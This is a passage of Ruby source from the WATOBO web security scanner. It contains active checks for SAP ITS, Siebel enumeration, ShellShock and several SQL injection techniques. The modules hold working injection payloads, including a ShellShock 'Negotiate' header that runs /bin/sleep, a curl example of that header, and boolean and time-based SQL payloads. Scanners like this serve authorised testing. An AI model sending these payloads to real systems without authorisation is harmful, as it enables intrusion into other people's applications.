vs PM (Production Mode) ["~forcetarget", "sap.com"], # forcetarget only in old (maybe buggy) its-systems supported ["~exitURL", "www.sap.com"], # exitURL only in old (maybe buggy) its-systems supported ] end def generateChecks(chat) begin if chat.request.url.to_s =~ /\/wgate\/(\w*)\/!?/ then @default_service_parameters.each do |sp, val| checker = proc{ test_request = nil test_response = nil test = chat.copyRequest service = "#{sp.dup}" sparm = "#{val.dup}" test.add_get_parm(service, sparm) test_request,test_response = doRequest(test,:default => true) if test_response.status =~ /200/i then # test_chat = Chat.new(test,test_response,chat.id) addFinding( test_request,test_response, :test_item => chat.request.url, :check_pattern => "#{sparm}", :proof_pattern => "#{test_response.status}", :chat => chat, :title => service ) end [ test_request, test_response ] } yield checker end end rescue => bang puts bang puts "ERROR!! #{Module.nesting[0].name}" end end end # --> eo namespace end end end end watobo-1.0.1/modules/active/sap/its_services.rb000066400000000000000000000056461366346341400215660ustar00rootroot00000000000000require 'digest/md5' require 'digest/sha1' # @private module Watobo#:nodoc: all module Modules module Active module Sap class Its_services < Watobo::ActiveCheck @info.update( :check_name => 'SAP ITS: Default Services', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Checks SAP ITS System for enabled default services.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9", # check version :check_group => AC_GROUP_SAP ) @finding.update( :threat => 'Information Disclosure (and maybe more)', # thread of vulnerability, e.g. loss of information :class => "SAP ITS: Default Services", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_HINT # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN ) def initialize(project, prefs={}) super(project, prefs) @its_services = [ "admin", "webgui", "systeminfo", ] end def generateChecks(chat) begin if chat.request.url.to_s =~ /\/wgate\/(\w*\/!?)/ then service_name = $1 @its_services.each do |service| checker = proc{ test_request = nil test_response = nil c_service = "#{service.dup}" c_srv_name = "#{service_name}" test = chat.copyRequest test.first.gsub!(c_srv_name, "#{c_service}/!") test_request,test_response = doRequest(test, :default => true) if test_response.status =~ /200/i then #test_chat = Chat.new(test,test_response,chat.id) addFinding( test_request,test_response, :test_item => chat.request.url, :check_pattern => "#{c_service}", :proof_pattern => "#{test_response.status}", :chat => chat, :title => c_service ) end [ test_request, test_response ] } yield checker end end rescue => bang puts bang puts "ERROR!! #{Module.nesting[0].name}" end end end # --> eo namespace end end end end watobo-1.0.1/modules/active/sap/its_xss.rb000066400000000000000000000051401366346341400205450ustar00rootroot00000000000000require 'digest/md5' require 'digest/sha1' # @private module Watobo#:nodoc: all module Modules module Active module Sap class Its_xss < Watobo::ActiveCheck @info.update( :check_name => 'SAP ITS: XSS', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Checks for generic XSS flaws in SAP ITS Systems.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9", # check version :check_group => AC_GROUP_SAP ) @finding.update( :threat => 'Information Disclosure (and maybe more)', # thread of vulnerability, e.g. loss of information :class => "SAP ITS: XSS", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_HINT # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN ) def initialize(project, prefs={}) @project = project super(project, prefs) end def generateChecks(chat) # # Check GET-Parameters # begin if chat.request.url.to_s =~ /!$/ then checker = proc{ test = chat.copyRequest new_p = "~urlmime" new_v = "\"> true) if test_response.join =~ /watobo/i then #test_chat = Chat.new(test,test_response,chat.id) addFinding(test_request,test_response, :test_item => chat.request.url.to_s, :check_pattern => "#{new_p}", :proof_pattern => "#{new_v}", :chat => chat, :title => new_p ) end [ test_request, test_response ] } yield checker end rescue => bang puts bang puts "ERROR!! #{Module.nesting[0].name}" raise end end end # --> eo namespace end end end end watobo-1.0.1/modules/active/shell_shock/000077500000000000000000000000001366346341400202375ustar00rootroot00000000000000watobo-1.0.1/modules/active/shell_shock/shell_shock.rb000066400000000000000000000103631366346341400230650ustar00rootroot00000000000000=begin $ curl -i -H "Negotiate: () { :; }; /bin/sleep 3" http://192.168.70.134/cgi-bin/shock.cgi HTTP/1.1 500 Internal Server Error Date: Fri, 24 Jan 2014 08:50:10 GMT Server: Apache/2.2.22 (Debian) Vary: Accept-Encoding Content-Length: 619 Connection: close Content-Type: text/html; charset=iso-8859-1 500 Internal Server Error

Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, webmaster@localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.

Apache/2.2.22 (Debian) Server at 192.168.70.134 Port 80
=end module Watobo #:nodoc: all module Modules module Active module Shell_shock class Shell_shock < Watobo::ActiveCheck @info.update( :check_name => 'ShellShock', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => AC_GROUP_GENERIC, :description => "", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) threat = <<'EOF' Really bad, bad things can happen! EOF measure = "Patch it!" @finding.update( :threat => threat, # thread of vulnerability, e.g. loss of information :class => "ShellShock (RCE)", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_CRITICAL, :measure => measure ) def initialize(project, prefs = {}) super(project, prefs) end def generateChecks(chat) checker = proc { test_request = nil test_response = nil output = "" rtimes = [] timing_response = nil 3.times do test = chat.copyRequest start = Time.now().to_i timing_request, timing_response = doRequest(test, :default => true) stop = Time.now().to_i rtimes << (stop - start) end # now calculate the average time t_average = rtimes.inject(:+) / rtimes.length t_average = 1 if t_average == 0 time_to_sleep = rtimes.max > (2 * t_average) ? rtimes.max : (2 * t_average) timeout_counter = 0 t_start = Time.now().to_i request = chat.copyRequest request.addHeader("Negotiate", "() { :;}; /bin/sleep #{time_to_sleep}") test_request, test_response = doRequest(request, :default => true) t_stop = Time.now.to_i timeout_counter += 1 duration = t_stop - t_start # puts duration if (duration >= time_to_sleep) puts "Found ShellShock Vulnerablitiy !!!" puts "after #{duration}s / time-to-sleep #{time_to_sleep}s)" test_request.extend Watobo::Mixin::Parser::Url unless test_request.respond_to? :path path = "/" + test_request.path output << "SleepTime: #{time_to_sleep}\nQuery Duration: #{duration}s" addFinding(test_request, test_response, :check_pattern => "Negotiate.*sleep \d", :chat => chat, :title => "[Timing] - #{path}", :proof_pattern => "", :test_item => "Negotiate", :class => "ShellShock (Time-based)", :output => output ) end [test_request, test_response] } yield checker end end # --> eo namespace end end end end watobo-1.0.1/modules/active/siebel/000077500000000000000000000000001366346341400172045ustar00rootroot00000000000000watobo-1.0.1/modules/active/siebel/siebel_apps.rb000066400000000000000000000165551366346341400220330ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Modules module Active module Siebel class Siebel_apps < Watobo::ActiveCheck check_group = File.dirname(File.expand_path(__FILE__)).split("/").last.capitalize! @@tested_directories = Hash.new @info.update( :check_name => 'Siebel Applications', # name of check which briefly describes functionality, will be used for tree and progress views :description => "Enumerate Siebel Applications And Default Files, e.g. base.txt", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.0", # check version :check_group => check_group ) @finding.update( :threat => 'Information', # thread of vulnerability, e.g. loss of information :class => "Siebel: Default Applications", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_INFO # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN ) def initialize(project, prefs={}) super(project, prefs) @apps = %w( callcenter cgce cra eCommunicationsWireless eEnergyOilGasChemicals eaf eai eai_anon eauctionswexml eautomotive echannelaf echannelcg echannelcme eclinical ecommunications econsumer econsumerpharma econsumersector ecustomer ecustomercme edealer edealerscw eenergy eevents ehospitality eloyalty emarketing emedia emedical ememb epharma epharmace eprofessionalpharma epublicsector eretail erm ermadmin esales esalescme eservice esitesclinical etraining finesales fins finsconsole finscustomer finsebanking finsebrokerage finsechannel finseenenrollment finssalespam htim htimpim loyalty loyaltyscw marketing medicalce pimportal pmmanager prmmanager prmportal pseservice sales salesce service servicece siasalesce siaservicece sismarketing smc wpeserv wppm wpsales wpserv ) @langs = %w( cat chs cht csy dan deu ell enu esn euq fin fra frc heb hun ita jpn kor nld nor plk pse psl ptb ptg rus shl sky slv sve tha trk ) end def reset() @@tested_directories.clear end def generateChecks(chat) begin path = chat.request.dir # puts "!!!!#{self}: #{path}" unless @@tested_directories.has_key?(path) @@tested_directories[path] = true @apps.each do |app| @langs.each do |lang| checker = proc{ begin app_dir = "#{app}_#{lang}" #puts app_dir test_request = nil test_response = nil test = chat.copyRequest test.appendDir app_dir status, test_request, test_response = fileExists?(test, :default => true) if status == true # test_chat = Chat.new(test,test_response, :id => chat.id) addFinding( test_request,test_response, :test_item => chat.request.url.to_s, :check_pattern => "#{app_dir}", :proof_pattern => "#{test_response.status}", :chat => chat, :title => "#{app_dir}" ) # check for _stats.swe stats_test = chat.copyRequest stats_test.replaceFileExt("_stats.swe") status, stats_request, stats_response = fileExists?( stats_test, :default => true) if status == true and stats_response.has_body? addFinding( stats_request,stats_response, :test_item => stats_request.url.to_s, :check_pattern => "#{app_dir}", :proof_pattern => "#{stats_response.status}", :chat => chat, :title => "#{app_dir}", :check_name => "Siebel Stats Page", :class => "Siebel: Stats Page" ) end # check for base.txt base_test = chat.copyRequest base_test.appendDir app_dir base_test.replaceFileExt("base.txt") # puts base_test.url status, base_request, base_response = fileExists?(base_test, :default => true) if status == true and base_response.has_body? version = nil if base_response.body.strip =~ /^([0-9.]*) / version = $1 end addFinding( base_request,base_response, :test_item => base_request.url.to_s, :check_pattern => "base.txt", :proof_pattern => "#{base_response.status}", :chat => chat, :title => "#{app_dir}", :check_name => "Siebel Version #{version}", :class => "Siebel: Version #{version}" ) end # check for About_Siebel.htm and siebindex.htm %w( About_Siebel.htm help/siebindex.htm siebindex.htm ).each do |df| default_test = chat.copyRequest default_test.appendDir app_dir default_test.replaceFileExt(df) status, default_request, default_response = fileExists?(default_test, :default => true) if status == true addFinding( default_request,default_response, :test_item => "#{default_request.url.to_s}", :check_pattern => "#{df}", :proof_pattern => "#{default_response.status}", :chat => chat, :title => "#{df}", #:check_name => "Siebel Version #{version}", :class => "Siebel: Default Files" ) end end end rescue => bang puts bang puts bang.backtrace end [ test_request, test_response ] } yield checker end end end rescue => bang puts bang puts "ERROR!! #{Module.nesting[0].name}" raise end end end # --> eo namespace end end end end watobo-1.0.1/modules/active/sqlinjection/000077500000000000000000000000001366346341400204435ustar00rootroot00000000000000watobo-1.0.1/modules/active/sqlinjection/sql_boolean.rb000066400000000000000000000214211366346341400232660ustar00rootroot00000000000000require 'digest/md5' require 'digest/sha1' # @private module Watobo #:nodoc: all module Modules module Active module Sqlinjection class Sql_boolean < Watobo::ActiveCheck @info.update( :check_name => 'Boolean SQL-Injection', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => AC_GROUP_SQL, :description => "Checks parameter values for boolean-style SQL-Injection flaws.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) threat = <<'EOF' SQL Injection is an attack technique used to exploit applications that construct SQL statements from user-supplied input. When successful, the attacker is able to change the logic of SQL statements executed against the database. Structured Query Language (SQL) is a specialized programming language for sending queries to databases. The SQL programming language is both an ANSI and an ISO standard, though many database products supporting SQL do so with proprietary extensions to the standard language. Applications often use user-supplied data to create SQL statements. If an application fails to properly construct SQL statements it is possible for an attacker to alter the statement structure and execute unplanned and potentially hostile commands. When such commands are executed, they do so under the context of the user specified by the application executing the statement. This capability allows attackers to gain control of all database resources accessible by that user, up to and including the ability to execute commands on the hosting system. Source: http://projects.webappsec.org/SQL-Injection EOF measure = "All user input must be escaped and/or filtered thoroughly before the sql statement is put together. Additionally prepared statements should be used." @finding.update( :threat => threat, # thread of vulnerability, e.g. loss of information :class => "SQL-Injection (Boolean)", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_CRITICAL, :measure => measure ) def initialize(project, prefs = {}) super(project, prefs) @boolean_checks = [ ['\'--', '\''], [' or 1=1', ' and 1=2'], ['\' or \'1\'=\'1', '\' and \'1\'=\'2'], ['\') or \'1\'=\'1\'(\'', '\') and \'1\'=\'2\'(\''], ['\')) or \'1\'=\'1\'((\'', '\')) and \'1\'=\'2\'((\''], ['\'))) or \'1\'=\'1\'(((\'', '\'))) and \'1\'=\'2\'(((\''], [') or \'1\'=\'1\'(', ') and \'1\'=\'2\'('], [')) or \'1\'=\'1\'((', ')) and \'1\'=\'2\'(('], ['))) or \'1\'=\'1\'(((', '))) and \'1\'=\'2\'((('], [' and 1=1', ' and 1=2'], ['\' and \'1\'=\'1', '\' and \'1\'=\'2'], ['\') and \'1\'=\'1\'(\'', '\') and \'1\'=\'2\'(\''], ['\')) and \'1\'=\'1\'((\'', '\')) and \'1\'=\'2\'((\''], ['\'))) and \'1\'=\'1\'(((\'', '\'))) and \'1\'=\'2\'(((\''], [') and \'1\'=\'1\'(', ') and \'1\'=\'2\'('], [')) and \'1\'=\'1\'((', ')) and \'1\'=\'2\'(('], ['))) and \'1\'=\'1\'(((', '))) and \'1\'=\'2\'((('], ] @prefs = ['', '%'] @fins = ['', '--', ';--'] end def generateChecks(chat) # # Check GET-Parameters # begin checks = [] @prefs.each do |p| @fins.each do |f| @boolean_checks.each do |c| checks << [p + c[0] + f, p + c[1] + f] end end end checks.each do |check_true, check_false| chat.request.parameters() do |param| checker = proc { begin check_t = CGI::escape(check_true) check_f = CGI::escape(check_false) test_request = nil test_response = nil orig_value = "#{param.value}" # first do request double time to check if hashes are the same test = chat.request.copy test_request, test_response = doRequest(test, :default => true) text_1, hash_1 = Watobo::Utils.smartHash(chat.request, test_request, test_response) test_request, test_response = doRequest(test, :default => true) text_2, hash_2 = Watobo::Utils.smartHash(chat.request, test_request, test_response) #puts "=== SQL BOOLEAN (#{parm}) ====" #puts "=TEXT_1 (#{parm})\r\n#{text_1}\r\n=HASH_1\r\n#{hash_1}" if parm =~ /button/ #puts "=TEXT_2 (#{parm})\r\n#{text_2}\r\n=HASH_2\r\n#{hash_2}" if parm =~ /button/ if hash_1 == hash_2 then val = "#{orig_value}" # val << "AB" if val.empty? val << check_t param.value = val test.set param true_request, true_response = doRequest(test, :default => true) text_true, hash_true = Watobo::Utils.smartHash(chat.request, true_request, true_response) val = "#{orig_value}" val = (1..8).inject("") {|x, v| x << rand(16).to_s(16)} if val.empty? val.reverse! val += check_t param.value = val test.set param random_request, random_response = doRequest(test, :default => true) text_random, hash_random = Watobo::Utils.smartHash(chat.request, random_request, random_response) val = "#{orig_value}" val += check_f param.value = val test.set param false_request, false_response = doRequest(test, :default => true) text_false, hash_false = Watobo::Utils.smartHash(chat.request, false_request, false_response) unless (hash_true == hash_false) and (hash_true == hash_random) then val = "#{orig_value}" val += check_t param.value = val test.set param test_request, test_response = doRequest(test, :default => true) text_true, hash_true = Watobo::Utils.smartHash(chat.request, test_request, test_response) if hash_true == hash_1 or hash_false == hash_1 or hash_true == hash_random or hash_false == hash_random then path = "/" + test_request.path # test_chat = Chat.new(test,test_response,chat.id) # puts "MATCH !!! #{self.to_s.gsub(/.*::/,'')}" addFinding(test_request, test_response, :test_item => param.name, :check_pattern => "#{Regexp.quote(param.name)}", :chat => chat, :title => "[#{param.name}] - #{path}", :debug => true ) end else #puts "\n! Boolean check not possible on chat #{chat.id}. URL parmeter #{parm} is imune :(" #puts "--- Hashes are equal!" #puts text_true #puts "---" #puts text_false #puts "---" #puts text_random #puts "===" end else puts "\n! Boolean check not possible on chat #{chat.id}. Response differs too much :(" if $DEBUG end rescue => bang puts bang raise end [test_request, test_response] } yield checker end end rescue => bang puts bang end end end # --> eo namespace end end end end watobo-1.0.1/modules/active/sqlinjection/sql_numerical.rb000066400000000000000000000144671366346341400236420ustar00rootroot00000000000000require 'digest/md5' require 'digest/sha1' # @private module Watobo#:nodoc: all module Modules module Active module Sqlinjection class Sql_numerical < Watobo::ActiveCheck @info.update( :check_name => 'Numerical SQL-Injection', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => AC_GROUP_SQL, :description => "Checks numerical parameter values for SQL-Injection flaws.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) threat =<<'EOF' SQL Injection is an attack technique used to exploit applications that construct SQL statements from user-supplied input. When successful, the attacker is able to change the logic of SQL statements executed against the database. Structured Query Language (SQL) is a specialized programming language for sending queries to databases. The SQL programming language is both an ANSI and an ISO standard, though many database products supporting SQL do so with proprietary extensions to the standard language. Applications often use user-supplied data to create SQL statements. If an application fails to properly construct SQL statements it is possible for an attacker to alter the statement structure and execute unplanned and potentially hostile commands. When such commands are executed, they do so under the context of the user specified by the application executing the statement. This capability allows attackers to gain control of all database resources accessible by that user, up to and including the ability to execute commands on the hosting system. Source: http://projects.webappsec.org/SQL-Injection EOF measure = "All user input must be escaped and/or filtered thoroughly before the sql statement is put together. Additionally prepared statements should be used." @finding.update( :threat => threat, # thread of vulnerability, e.g. loss of information :class => "SQL-Injection", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_CRITICAL, :measure => measure ) def initialize(project, prefs={}) super(project, prefs) end def generateChecks(chat) # # Check GET-Parameters # begin chat.request.parameters.each do |test_parm| parm = test_parm.copy vint = nil # first check if parameter is integer value value = parm.value.is_a?( String ) ? parm.value : parm.value.to_s if value.strip =~ /^\d+$/ then # puts "*!* #" vint = value.to_i end if vint then #puts "* found integer get parameter #{parm}" checker = proc { begin test_request = nil test_response = nil # first do request double time to check if hashes are the same test = chat.copyRequest test_request,test_response = doRequest(test,:default => true) # hash_1 = Digest::MD5.hexdigest(test_response.body.join) hash_1 = Watobo::Utils.responseHash(test_request, test_response) test = chat.copyRequest test_request,test_response = doRequest(test,:default => true) hash_2 = Watobo::Utils.responseHash(test_request, test_response) #hash_2 = Digest::MD5.hexdigest(test_response.body.join) test = chat.copyRequest # also need to check if altered parm will change response parm = test_parm.copy parm.value = "#{vint+1}" test.set parm test_request,test_response = doRequest(test,:default => true) hash_3 = Watobo::Utils.responseHash(test_request, test_response) # puts "Hash 1: #{hash_1}" # puts "Hash 2: #{hash_2}" # puts "Hash 3: #{hash_3}" # if hash_1 == hash_2 then if hash_1 == hash_2 and hash_1 != hash_3 then # same hashes? now we can start the test test = chat.copyRequest # first add one to the original value and append "-1" parm = test_parm.copy parm.value = "#{vint+1}-1" test.set parm test_request,test_response = doRequest(test,:default => true) hash_test = Watobo::Utils.responseHash(test_request, test_response) if hash_test == hash_1 then path = "/" + test_request.path # test_chat = Chat.new(test,test_response, :id => chat.id) addFinding(test_request, test_response, :check_pattern => "#{parm}", :chat => chat, :title => "[#{parm}] - #{path}" ) end end rescue => bang puts bang raise end [ test_request, test_response ] } yield checker end end rescue => bang puts bang puts "ERROR!! #{Module.nesting[0].name}" raise end end end # --> eo namespace end end end end watobo-1.0.1/modules/active/sqlinjection/sqli_error.rb000066400000000000000000000130301366346341400231460ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Modules module Active module Sqlinjection class Sqli_error < Watobo::ActiveCheck @info.update( :check_name => 'Error-based SQL-Injection', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => AC_GROUP_SQL, :description => "Check every parameter for SQL-Injection flaws. The detection is based on error messages of the database.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "1.0" # check version ) threat =<<'EOF' SQL Injection is an attack technique used to exploit applications that construct SQL statements from user-supplied input. When successful, the attacker is able to change the logic of SQL statements executed against the database. Structured Query Language (SQL) is a specialized programming language for sending queries to databases. The SQL programming language is both an ANSI and an ISO standard, though many database products supporting SQL do so with proprietary extensions to the standard language. Applications often use user-supplied data to create SQL statements. If an application fails to properly construct SQL statements it is possible for an attacker to alter the statement structure and execute unplanned and potentially hostile commands. When such commands are executed, they do so under the context of the user specified by the application executing the statement. This capability allows attackers to gain control of all database resources accessible by that user, up to and including the ability to execute commands on the hosting system. Source: http://projects.webappsec.org/SQL-Injection EOF # measure = "All user input must be escaped and/or filtered thoroughly before the sql statement is put together. Additionally prepared statements should be used." @finding.update( :threat => threat, # threat of vulnerability, e.g. loss of information :class => "SQL-Injection (Error)", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_CRITICAL, :measure => measure ) def initialize(project, prefs={}) super(project, prefs) @sql_checks=[ "';--", "'", ] @sql_patterns = [ "OleDBException", "SQL Server", "Microsoft OLE DB Provider", "Incorrect syntax near", "ADODB", "DB2 SQL", "DB2.*SQL\d+N", "ODBC Microsoft Access Driver", "(PLS|ORA).[0-9]{2,}", "PostgreSQL query", "error in your SQL syntax" ] end def generateChecks(chat) begin chat.request.parameters() do |parm| # puts "#{Module.nesting[0].name}: run check on chat-id (#{chat.id}) with parm (#{parm})" #@sql_checks.each do |check, pattern| test_values = [] @sql_checks.each do |check| test_values << check test_values << "#{parm.value}#{check}" test_values << "#{check}#{parm.value}" end test_values.each do |check| checker = proc { test_request = nil test_response = nil # IMPORTANT!!! # use prepareRequest(chat) for cloning the original request test = chat.request.copy parm.value = check test.set parm #puts test # fire it up! #puts req_copy test_request,test_response = doRequest(test) # puts test_response # verify response match = nil @sql_patterns.each do |pattern| if test_response.join =~ /(#{pattern})/i match = $1 # test_chat = Chat.new(test,test_response,chat.id) # path = "/" + test_request.path_ext addFinding(test_request,test_response, :test_item => parm.name, :check_pattern => "#{parm.name}.*#{check}", :proof_pattern => "#{match}", :chat => chat, :title => "[#{parm.name}] - #{test_request.path}" ) end end [ test_request, test_response ] } yield checker end end rescue => bang puts bang puts "ERROR!! #{Module.nesting[0].name}" raise end end end end end end end watobo-1.0.1/modules/active/sqlinjection/sqli_time_based.rb000066400000000000000000000155501366346341400241220ustar00rootroot00000000000000require 'digest/md5' require 'digest/sha1' # @private module Watobo #:nodoc: all module Modules module Active module Sqlinjection class Sqli_time_based < Watobo::ActiveCheck @info.update( :check_name => 'Time-based SQL Injection 2', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => AC_GROUP_SQL, :description => "Checking each parameter for SQL-Injection flaws using timing techniques.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) threat = <<'EOF' SQL Injection is an attack technique used to exploit applications that construct SQL statements from user-supplied input. When successful, the attacker is able to change the logic of SQL statements executed against the database. Structured Query Language (SQL) is a specialized programming language for sending queries to databases. The SQL programming language is both an ANSI and an ISO standard, though many database products supporting SQL do so with proprietary extensions to the standard language. Applications often use user-supplied data to create SQL statements. If an application fails to properly construct SQL statements it is possible for an attacker to alter the statement structure and execute unplanned and potentially hostile commands. When such commands are executed, they do so under the context of the user specified by the application executing the statement. This capability allows attackers to gain control of all database resources accessible by that user, up to and including the ability to execute commands on the hosting system. Source: http://projects.webappsec.org/SQL-Injection EOF measure = "All user input must be escaped and/or filtered thoroughly before the sql statement is put together. Additionally prepared statements should be used." @finding.update( :threat => threat, # thread of vulnerability, e.g. loss of information :class => "SQL-Injection", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_CRITICAL, :measure => measure ) def initialize(project, prefs = {}) super(project, prefs) end def generateChecks(chat) sql_timing_commands = [ 'and sleep(SLEEP_TIME)', 'and 1 in (select BENCHMARK(20000000,MD5(CHAR(97))))', 'and waitfor delay \'0:0:SLEEP_TIME\'' ] sqli_vectors = [ '', '\'', '\'))', '\')))', ')', '))', ')))' ] sql_terminators = [ '', '--', ';--' ] sqli_patterns = [] sqli_vectors.each do |v| sql_timing_commands.each do |stc| sql_terminators.each do |sts| sqli_patterns << "#{v} #{stc}#{sts}" end end end sqli_patterns.each do |sql| # get ALL parameters chat.request.parameters() do |p| parm = p.copy checker = proc { test_request = nil test_response = nil # first get multiple response times rtimes = [] timing_response = nil vulnerable = false 4.times do test = chat.copyRequest start = Time.now().to_i timing_request, timing_response = doRequest(test, :default => true) stop = Time.now().to_i rtimes << (stop - start) end # now calculate the average time average_t = rtimes.inject(:+) / rtimes.length max_t = rtimes.max > 5 ? rtimes.max : 5 # puts "Analyzing timing behaviour ..." # rtimes.each do |t| # puts t.to_s # end # puts "Average Response Time: #{average_t}s (max #{max_t}s)" # time_to_sleep = 4 * max_t time_to_sleep = max_t #timeout_t = time_to_sleep + average_t timeout_t = 2 * time_to_sleep test_value = "" sqli_start = sqli_stop = 0 timeout_counter = 0 output = "" break if vulnerable begin sqli_start = Time.now().to_i Timeout.timeout(timeout_t) do test = chat.copyRequest # also need to check if altered parm will change response test_value = CGI.escape("#{parm.value}#{sql.gsub(/SLEEP_TIME/, time_to_sleep.to_s)}") parm.value = test_value test.set parm test_request, test_response = doRequest(test, :default => true) sqli_stop = Time.now().to_i end rescue Timeout::Error sqli_stop = Time.now().to_i output << "Hit Timeout after #{sqli_start - sqli_stop} seconds\n" rescue => bang puts bang puts bang.backtrace end duration = sqli_stop - sqli_start # puts duration if (duration >= time_to_sleep) puts "Found time-based SQLi in parameter #{parm} !!!" puts "after #{duration}s / time-to-sleep #{time_to_sleep}s)" test_request.extend Watobo::Mixin::Parser::Url unless test_request.respond_to? :path path = "/" + test_request.path output << "SleepTime: #{time_to_sleep}\nQuery Duration: #{duration}s" addFinding(test_request, test_response, :check_pattern => "#{test_value}", :chat => chat, :title => "[#{parm.name}] - #{path}", :proof_pattern => "", :test_item => parm.name, :class => "SQL-Injection (Time-based)", :output => output ) end [test_request, test_response] } yield checker end end end end # --> eo namespace end end end end watobo-1.0.1/modules/active/sqlinjection/sqli_timing.rb000066400000000000000000000175071366346341400233210ustar00rootroot00000000000000require 'digest/md5' require 'digest/sha1' # @private module Watobo #:nodoc: all module Modules module Active module Sqlinjection class Sqli_timing < Watobo::ActiveCheck @info.update( :check_name => 'Time-based SQL Injection', # name of check which briefly describes functionality, will be used for tree and progress views :check_group => AC_GROUP_SQL, :description => "Checking each parameter for SQL-Injection flaws using timing techniques.", # description of checkfunction :author => "Andreas Schmidt", # author of check :version => "0.9" # check version ) threat = <<'EOF' SQL Injection is an attack technique used to exploit applications that construct SQL statements from user-supplied input. When successful, the attacker is able to change the logic of SQL statements executed against the database. Structured Query Language (SQL) is a specialized programming language for sending queries to databases. The SQL programming language is both an ANSI and an ISO standard, though many database products supporting SQL do so with proprietary extensions to the standard language. Applications often use user-supplied data to create SQL statements. If an application fails to properly construct SQL statements it is possible for an attacker to alter the statement structure and execute unplanned and potentially hostile commands. When such commands are executed, they do so under the context of the user specified by the application executing the statement. This capability allows attackers to gain control of all database resources accessible by that user, up to and including the ability to execute commands on the hosting system. Source: http://projects.webappsec.org/SQL-Injection EOF measure = "All user input must be escaped and/or filtered thoroughly before the sql statement is put together. Additionally prepared statements should be used." @finding.update( :threat => threat, # thread of vulnerability, e.g. loss of information :class => "SQL-Injection", # vulnerability class, e.g. Stored XSS, SQL-Injection, ... :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN :rating => VULN_RATING_CRITICAL, :measure => measure ) def initialize(project, prefs = {}) super(project, prefs) end def generateChecks(chat) sql_timing_commands = [ 'and sleep(SLEEP_TIME)', 'and 1 in (select BENCHMARK(20000000,MD5(CHAR(97))))', 'and waitfor delay \'0:0:SLEEP_TIME\'' ] sqli_vectors = [ '', '\'', '\'))', '\')))', ')', '))', ')))' ] sql_terminators = [ '', '--', ';--' ] sqli_patterns = [] sqli_vectors.each do |v| sql_timing_commands.each do |stc| sql_terminators.each do |sts| sqli_patterns << "#{v} #{stc}#{sts}" end end end check_parms = chat.request.parameters check_parms.each do |test_param| checker = proc { test_request = nil test_response = nil parm = test_param.copy output = "" # first get multiple response times rtimes = [] timing_response = nil vulnerable = false 4.times do test = chat.copyRequest start = Time.now().to_i timing_request, timing_response = doRequest(test, :default => true) stop = Time.now().to_i rtimes << (stop - start) end # now calculate the average time average_t = rtimes.inject(:+) / rtimes.length max_t = rtimes.max > 5 ? rtimes.max : 5 # puts "Analyzing timing behaviour ..." # rtimes.each do |t| # puts t.to_s # end # puts "Average Response Time: #{average_t}s (max #{max_t}s)" # time_to_sleep = 4 * max_t time_to_sleep = max_t #timeout_t = time_to_sleep + average_t timeout_t = 2 * time_to_sleep test_value = "" test = nil log_request = nil max_timeouts = 2 timeout_counter = 0 sqli_start = sqli_stop = 0 sqli_patterns.each do |sql| timeout_counter = 0 output = "" break if vulnerable begin sqli_start = Time.now().to_i Timeout.timeout(timeout_t) do test = chat.copyRequest # also need to check if altered parm will change response test_value = CGI.escape("#{parm.value}#{sql.gsub(/SLEEP_TIME/, time_to_sleep.to_s)}") parm.value = test_value test.set parm test_request, test_response = doRequest(test, :default => true) sqli_stop = Time.now().to_i end rescue Timeout::Error timeout_counter += 1 # puts "[#{self}] Hit Timeout after #{timeout_t} seconds (#{timeout_counter})." # puts test # puts # puts "... retry after #{max_t} seconds ..." sleep max_t retry unless timeout_counter > 2 sqli_stop = Time.now().to_i output << "Hit Timeout after #{sqli_start - sqli_stop} seconds\n" # puts "* redo request with sleep_time=0 to get an apropriate server response ..." test = chat.copyRequest test_value = CGI.escape("#{parm.value}#{sql.gsub(/SLEEP_TIME/, "0")}") parm.value = test_value test.set parm dummy_request, test_response = doRequest(test, :default => true) rescue => bang puts bang puts bang.backtrace end duration = sqli_stop - sqli_start # puts duration if 